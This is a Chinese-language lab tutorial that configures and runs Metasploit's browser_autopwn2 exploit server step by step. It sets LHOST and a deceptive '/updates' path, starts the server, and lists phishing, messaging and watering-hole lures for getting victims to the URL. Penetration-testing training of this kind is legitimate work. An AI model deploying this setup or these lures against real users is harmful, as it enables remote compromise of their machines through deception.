引言
在本实验中,你将深入了解 Metasploit Framework 的强大功能之一:浏览器自动利用(browser autopwn)攻击。这类攻击涉及设置一个恶意的 Web 服务器,当目标访问该服务器时,会自动检测受害者的浏览器类型和版本,然后提供针对任何已发现漏洞的定制化利用(exploit)。
我们将使用 auxiliary/server/browser_autopwn2 模块,这是原始浏览器自动利用(browser autopwn)的更新且更可靠的版本。本实验将指导你完成选择模块、配置必要选项以及启动服务器的过程。
免责声明: 本实验仅用于教育目的。此处描述的技术只能在你自己拥有或获得明确授权进行测试的系统上执行。
选择 auxiliary/server/browser_autopwn2 模块
在此步骤中,你将启动 Metasploit Framework 控制台并选择 browser_autopwn2 模块,这将是我们攻击设置的核心。
首先,打开一个终端并启动 Metasploit 控制台。我们将使用 -q 标志来实现“安静”启动,它会抑制横幅(banner)以获得更简洁的界面。
msfconsole -q
控制台加载后,你将看到 Metasploit 提示符,它看起来像 msf6 >。Metasploit 将其工具组织成模块。为了设置我们的攻击,我们需要使用 browser_autopwn2 辅助模块(auxiliary module)。使用 use 命令来选择它。
use auxiliary/server/browser_autopwn2
执行命令后,你的提示符将发生变化,表明你现在处于该特定模块的上下文中。
msf6 > use auxiliary/server/browser_autopwn2
msf6 auxiliary(server/browser_autopwn2) >
你现在已准备好配置模块的选项。
将 LHOST 选项设置为你的 Kali IP
在此步骤中,你将配置 LHOST 选项。LHOST 代表“本地主机”(Local Host),必须将其设置为你的攻击机(LabEx VM)的 IP 地址。当利用(exploit)成功时,受害者的机器将连接回此 IP 地址,从而让你获得控制权。
首先,你需要找到你的 LabEx VM 的 IP 地址。你可以通过点击终端窗口中的 + 图标来打开一个新的终端标签页。在新终端中,运行以下命令来显示你的 IP 地址:
ip addr show eth0 | grep "inet " | awk '{print $2}' | cut -d/ -f1
你将看到类似以下的输出。请确保复制你自己的特定 IP 地址。
10.0.2.15
现在,回到运行 msfconsole 的原始终端。要查看 browser_autopwn2 模块所有可配置的选项,请使用 show options 命令。
show options
你将看到一个选项列表。请注意,LHOST 是必需的,但尚未设置。使用 set 命令将 LHOST 配置为你刚刚复制的 IP 地址。将 YOUR_IP_ADDRESS 替换为你实际的 IP 地址。
set LHOST YOUR_IP_ADDRESS
例如,如果你的 IP 是 10.0.2.15,命令将是:
set LHOST 10.0.2.15
Metasploit 将确认更改。
LHOST => 10.0.2.15
LHOST 现在已正确配置。
设置恶意服务器的 URIPATH
在此步骤中,你将设置 URIPATH。此选项定义了你的 Web 服务器上的特定路径,受害者必须访问该路径才能触发攻击。使用非默认的、隐蔽的路径可以使攻击不那么明显。
就像上一步一样,你可以使用 show options 来查看当前设置。你会发现 URIPATH 有一个默认值,但我们将将其更改为自定义值。
让我们将路径设置为 /updates。这可能会欺骗用户以为他们正在访问一个软件更新页面。使用 set 命令来更改 URIPATH。
set URIPATH /updates
控制台将确认 URIPATH 已更新。
URIPATH => /updates
现在,受害者需要访问的恶意 URL 将是 http://<YOUR_IP_ADDRESS>:8080/updates。
运行模块以启动 Web 服务器
在此步骤中,所有必需的选项都已配置完毕,你将启动辅助模块。这将启动你机器上的一个 Web 服务器,监听来自潜在受害者的传入连接。
要启动模块,只需在 msfconsole 提示符下输入 run 并按 Enter 键。
run
Metasploit 现在将启动服务器并加载所有相关的浏览器利用(exploits)。你将看到大量输出,因为服务器正在初始化。需要关注的关键信息是服务器已启动的确认以及它正在使用的 URL。
输出将类似于此(部分细节可能有所不同):
[*] Auxiliary module running as a background job 0.
[*] Using URL: http://10.0.2.15:8080/updates
[*] Server started.
[*] Starting the payload handler...
[*] Analyzing browser info and matching exploits...
[*] Added exploit/windows/browser/adobe_flash_avm2...
[*] Added exploit/windows/browser/adobe_flash_copy_pixels...
... (将列出更多利用) ...
你的恶意服务器现已运行,并积极等待浏览器连接到 http://10.0.2.15:8080/updates(使用你的实际 IP)。当浏览器连接时,服务器将对其进行分析并尝试启动一个合适的利用。
讨论如何诱导目标访问恶意 URL
在最后一步中,我们将讨论此次攻击中最关键的部分:让目标访问恶意 URL。服务器正在运行,但它是被动的;在受害者浏览链接之前,它无法做任何事情。这个阶段严重依赖于社会工程学。
由于此实验环境不包含单独的“受害者”机器,因此此步骤纯粹是概念性的。没有需要执行的命令。
以下是一些常用的将恶意链接(http://YOUR_IP_ADDRESS:8080/updates)发送给目标的方法:
- 网络钓鱼邮件 (Phishing Emails): 发送一封欺骗性的电子邮件,鼓励用户点击链接。例如,电子邮件可能伪装成安全警报、特别优惠或密码重置通知。
- 即时消息 (Instant Messaging): 通过聊天应用程序直接将链接发送给目标,通常会附带诸如“嘿,看看这个很酷的网站!”之类的消息。
- 社交媒体 (Social Media): 在社交媒体平台上公开或通过私信发布链接,以吸引点击。
- 水坑攻击 (Watering Hole Attack): 一种更高级的技术,攻击者会攻陷目标经常访问的合法网站。然后,攻击者在该网站上嵌入恶意链接或重定向。
如果具有易受攻击浏览器的目标访问了你的 URL,browser_autopwn2 将自动提供适当的利用(exploit)。如果利用成功,你的 Metasploit 控制台将打开一个“会话 (session)”,让你能够远程访问受害者的机器。你将在终端中看到类似 [*] Session 1 opened... 的消息。
总结
恭喜你完成了本次实验!你已成功掌握了使用 Metasploit Framework 设置浏览器自动利用(browser autopwn)攻击的基本步骤。
在此次实验中,你已:
- 启动了 Metasploit 控制台。
- 选择并加载了
auxiliary/server/browser_autopwn2模块。 - 配置了关键的
LHOST和URIPATH选项。 - 启动了恶意 Web 服务器并理解了其功能。
- 讨论了诱导目标访问恶意 URL 所需的社会工程学技术。
本次练习展示了渗透测试工具的强大和自动化能力。它也强调了保持 Web 浏览器及其插件更新以防御此类攻击的重要性。请始终牢记,负责任且合乎道德地使用这些知识。


